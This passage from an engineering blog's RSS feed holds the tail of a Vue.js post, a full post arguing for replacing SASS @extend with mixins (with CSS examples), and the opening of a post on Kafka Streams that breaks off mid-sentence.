aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Advantages&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;Clean &lt;/li&gt; &lt;li&gt;Semantic&lt;/li&gt; &lt;li&gt;Maintainable&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;This is how you can create applications and make animations in more simpler and semantic way. However, you must have intermediate knowledge of &lt;strong&gt;HTML&lt;/strong&gt;, &lt;strong&gt;CSS&lt;/strong&gt; and &lt;strong&gt;JavaScript&lt;/strong&gt;. If you think &lt;strong&gt;VueJS&lt;/strong&gt; is promising, go ahead and try it out. There is much more that you will love to learn about. Check out the &lt;a href=&quot;https://vuejs.org/v2/guide/&quot;&gt;official documentation&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Ashish Bardhan</author></item><item><title><![CDATA[Why we've removed Inheritance/Extend from SASS & you should do the same!]]></title><description><![CDATA[SASS is a preprocessor that provides features like variables, nesting, mixins, inheritance and other nifty goodies and makes CSS clean and…]]></description><link>https://engineering.wingify.com//posts/sass-inheritance-removal/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/sass-inheritance-removal/</guid><pubDate>Thu, 30 Nov 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SASS is a preprocessor that provides features like variables, nesting, mixins, inheritance and other nifty goodies and makes CSS clean and easy to maintain.&lt;/p&gt; &lt;p&gt;The &lt;a href=&quot;http://sass-lang.com/guide#topic-7&quot;&gt;@extend&lt;/a&gt; directive in SASS allows us to easily share styles between selectors. But its usage can have adverse effects when used with bigger projects. Lets see how.&lt;/p&gt; &lt;p&gt;In &lt;a href=&quot;https://app.vwo.com&quot;&gt;VWO’s&lt;/a&gt; SASS code, we have more than 50 files. The need of inheritance removal came when the code started to become unpredictable and difficult to debug. Difficulty in debugging made us override the CSS as and when new requirement came; otherwise it requires a lot of time to understand existing code of inheritance before starting, so that any new rule addition does not break the existing CSS. That’s how the need of @extend removal came.&lt;/p&gt; &lt;p&gt;Here are the reasons why we discarded @extend.&lt;/p&gt; &lt;h2 id=&quot;high-maintainability&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#high-maintainability&quot; aria-label=&quot;high maintainability permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;High maintainability&lt;/h2&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.title&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;text-transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; uppercase&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 11px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;label&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@extend&lt;/span&gt; .title&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;…and in the end of the file somewhere adding,&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.title&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 12px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;If this file is opened and looked up for the &lt;code class=&quot;language-text&quot;&gt;label&lt;/code&gt; rules, one would expect it to be of 13px but in reality, it will be of 12px. &lt;code class=&quot;language-text&quot;&gt;&amp;lt;label&amp;gt;I will always be 12px&amp;lt;/label&amp;gt;&lt;/code&gt;&lt;/p&gt; &lt;p&gt;This is because on compilation the result looks like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.title , label&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;text-transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; uppercase&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;label&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.title , label&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 12px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;label&lt;/code&gt; shares the rules at the last definition of &lt;code class=&quot;language-text&quot;&gt;.title&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;If someone tries to override title and is not aware of the fact that it has been extended in some other class, the person might end up adding some wrong rules unintentionally.&lt;/p&gt; &lt;h2 id=&quot;difficult-debugging&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#difficult-debugging&quot; aria-label=&quot;difficult debugging permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Difficult debugging&lt;/h2&gt; &lt;p&gt;It becomes difficult to debug if the project’s CSS is large because you need to keep track of every extended class. If we consider the above example of &lt;code class=&quot;language-text&quot;&gt;label&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;.title&lt;/code&gt;, looking at the CSS in browser, it will be difficult for us to figure out the reason of font-size being 12px for &lt;code class=&quot;language-text&quot;&gt;label&lt;/code&gt;. It requires a lot of time of debug such code, especially if you have multiple SASS files.&lt;/p&gt; &lt;h2 id=&quot;increased-file-size&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#increased-file-size&quot; aria-label=&quot;increased file size permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Increased file size&lt;/h2&gt; &lt;p&gt;After we removed @extend from all our sass files, size got reduced from 164KB =&gt; 154KB&lt;/p&gt; &lt;h2 id=&quot;distributed-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#distributed-code&quot; aria-label=&quot;distributed code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Distributed Code&lt;/h2&gt; &lt;p&gt;The code for one class should be contained at one place rather than distributed at many places. Classes or Placeholders extended in virtue of maintaining the code actually make it untidy and difficult to understand in case of multiple CSS files or long CSS code. Here’s an example:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.font--13&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; inline-block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@extend&lt;/span&gt; .font--13&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;%size--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@extend&lt;/span&gt; .tile&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@extend&lt;/span&gt; %size--200&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.circle--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@extend&lt;/span&gt; %size--200&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Generated Code:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.font--13, .tile, .tile--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile, .tile--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; inline-block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile--200, .circle--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The generated code is highly unreadable and not at all lucid. This particular code has rules staggered at 4 places just for class .tile--200.&lt;/p&gt; &lt;h2 id=&quot;solution-to-extend&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-to-extend&quot; aria-label=&quot;solution to extend permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution to @extend&lt;/h2&gt; &lt;p&gt;We solved these problems with the help of &lt;a href=&quot;http://sass-lang.com/guide#topic-6&quot;&gt;mixins&lt;/a&gt; or directly writing the rule if it’s a one liner.&lt;/p&gt; &lt;p&gt;For e.g. in above example: SASS would be&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.font--13&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@mixin&lt;/span&gt; tile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; inline-block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@include&lt;/span&gt; tile&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@mixin&lt;/span&gt; size--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@include&lt;/span&gt; tile&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@include&lt;/span&gt; size--200&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.circle--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@include&lt;/span&gt; size--200&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Generated CSS code will be:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.font--13&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; inline-block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.tile--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; inline-block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 13px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token selector&quot;&gt;.circle--200&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This code has rules for every class maintained at just one place making it easier to understand and lucid which results in easy debugging and requires low maintenance.&lt;/p&gt; &lt;p&gt;All these reasons forced us to remove @extend from our SASS and hence our code and coders lived happily ever after!&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Cheers!&lt;/strong&gt;&lt;/p&gt;</content:encoded><author>Chhavi Khandelwal</author></item><item><title><![CDATA[Leveraging Kafka Streams to reduce DB Hits]]></title><description><![CDATA[I have been working with Apache Kafka for more than 4 years now and have seen it evolve from a basic distributed commit log service…]]></description><link>https://engineering.wingify.com//posts/leveraging-kafka-streams-to-reduce-db-hits/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/leveraging-kafka-streams-to-reduce-db-hits/</guid><pubDate>Thu, 26 Oct 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I have been working with &lt;a href=&quot;https://kafka.apache.org/&quot; title=&quot;** Apache Kafka**&quot;&gt;&lt;strong&gt;Apache Kafka&lt;/strong&gt;&lt;/a&gt; for more than 4 years now and have seen it evolve from a basic distributed commit log service (Something very similar to Transaction log or Operation log) to a full fledged tool for data pipelining and become the backbone of data collection platforms. For those who don’t know about Kafka, it was developed by LinkedIn, and was open sourced in early 2011. It is a distributed pub-sub messaging system that is designed to be fast, scalable and durable. Like other pub-sub messaging systems, Kafka maintains stream(s) of messages in topic(s). &lt;strong&gt;&lt;em&gt;Producers&lt;/em&gt;&lt;/strong&gt; are special processors that write data to &lt;strong&gt;&lt;em&gt;Topics&lt;/em&gt;&lt;/strong&gt; while, &lt;strong&gt;&lt;em&gt;Consumers&lt;/em&gt;&lt;/strong&gt; read from topics, to store data to extract some meaningful information that might be required at a later stage. Since Kafka is a distributed system, topics are partitioned and replicated across multiple nodes. Kafka lets you store streams of messages in a fault-tolerant way and allows processing these streams in near realtime.&lt;/p&gt; &lt;p&gt;Apache Kafka has gone through various design changes since its inception, Kafka 0.9 came out with support of High Level Consumer API, which helped in removing dependency of &lt;a href=&quot;http://zookeeper.apache.org/&quot;&gt;&lt;strong&gt;&lt;em&gt;Apache Zookeeper&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;. It is now only used to manage metadata of topics created in Kafka. Also, in case some Kafka node goes down or rebalance is triggered due to addition of new nodes, 